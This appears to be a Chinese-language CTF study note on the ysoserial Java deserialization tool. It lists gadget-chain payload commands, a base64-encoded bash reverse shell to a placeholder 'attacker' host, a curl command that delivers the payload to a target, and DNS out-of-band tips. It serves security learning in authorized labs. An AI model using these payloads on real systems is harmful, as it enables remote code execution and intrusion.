ysoserial
2026/5/29工具工具Web安全Java反序列化ysoserial大约 3 分钟
ysoserial
链接
是什么
ysoserial 是 Java 反序列化 payload 生成工具。它基于常见 gadget chain 生成恶意序列化对象。
CTF 中常用于 Java 反序列化题、Shiro rememberMe、RMI/JRMP 等场景的学习和验证。
安装与配置
需要 Java 环境。
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests生成的 jar 通常在:
target/ysoserial-*-all.jar也可以使用公开 release jar,但要注意来源可信。
基本用法
查看 payload
java -jar ysoserial.jar生成 CommonsCollections payload
java -jar ysoserial.jar CommonsCollections1 "id" > payload.binBase64 编码
base64 -w0 payload.binWindows PowerShell 可用:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("payload.bin"))常见 gadget chain
CommonsCollections 系列
# CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 "id"
# CommonsCollections2
java -jar ysoserial.jar CommonsCollections2 "id"
# CommonsCollections3
java -jar ysoserial.jar CommonsCollections3 "id"
# CommonsCollections4
java -jar ysoserial.jar CommonsCollections4 "id"
# CommonsCollections5
java -jar ysoserial.jar CommonsCollections5 "id"
# CommonsCollections6
java -jar ysoserial.jar CommonsCollections6 "id"
# CommonsCollections7
java -jar ysoserial.jar CommonsCollections7 "id"Shiro 相关
# Shiro rememberMe
java -jar ysoserial.jar Shiro550 "id"
# Shiro 1.2.4+
java -jar ysoserial.jar Shiro1 "id"其他 gadget
# Spring
java -jar ysoserial.jar Spring1 "id"
java -jar ysoserial.jar Spring2 "id"
# Hibernate
java -jar ysoserial.jar Hibernate1 "id"
java -jar ysoserial.jar Hibernate2 "id"
# JBoss
java -jar ysoserial.jar JBossInterceptors1 "id"
# JRMP
java -jar ysoserial.jar JRMPClient "id"
java -jar ysoserial.jar JRMPListener "id"常用命令
# 弹计算器 (Windows)
java -jar ysoserial.jar CommonsCollections1 "calc"
# 执行命令 (Linux)
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,base64_encoded_command}|{base64,-d}|{bash,-i}"
# 写文件
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned"CTF常用技巧
先确认反序列化入口
ysoserial 只负责生成对象,不负责告诉你入口在哪里。先确认:
Cookie
Header
POST body
文件上传
RMI 服务
Shiro rememberMegadget 要匹配依赖
目标服务端必须存在对应依赖,否则 payload 不会触发。
Shiro 场景
Shiro 题通常还需要密钥、加密模式、rememberMe 格式等条件,不是只跑 ysoserial。
命令编码
# Linux bash 编码
echo "bash -i >& /dev/tcp/attacker/port 0>&1" | base64
# 在 payload 中使用
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,base64_encoded}|{base64,-d}|{bash,-i}"测试 payload
# 1. 生成 payload
java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
# 2. Base64 编码
base64 -w0 payload.bin > payload.b64
# 3. 发送到目标
curl -X POST http://target.com/api -d @payload.b64
# 4. 观察响应自定义 gadget
1. 修改 ysoserial 源码
2. 添加新的 gadget chain
3. 重新编译
4. 测试 payload反序列化检测
1. 检查输入是否是序列化数据
2. 查看 Content-Type
3. 检查 Base64 编码特征
4. 尝试解码验证常见问题
payload 没反应
可能 gadget 不存在、入口不对、命令无回显、JDK 版本限制或被安全组件拦截。
Java 版本影响大吗
影响很大。不同 JDK 和依赖版本会影响 gadget 可用性。
能对真实服务使用吗
只能在授权靶场或 CTF 环境中使用。
依赖不存在
1. 检查目标使用的框架
2. 查看目标的依赖版本
3. 尝试其他 gadget chain
4. 使用被动扫描工具命令无回显
1. 使用外带数据
2. 写文件后读取
3. 使用时间延迟判断
4. 使用 DNS 外带编码问题
1. 确保 Base64 编码正确
2. 检查 URL 编码
3. 检查特殊字符转义
4. 使用正确的编码格式关联
- 反序列化基础
- Cookie与Session
- 编码、哈希与加密
- Burp Suite
- CyberChef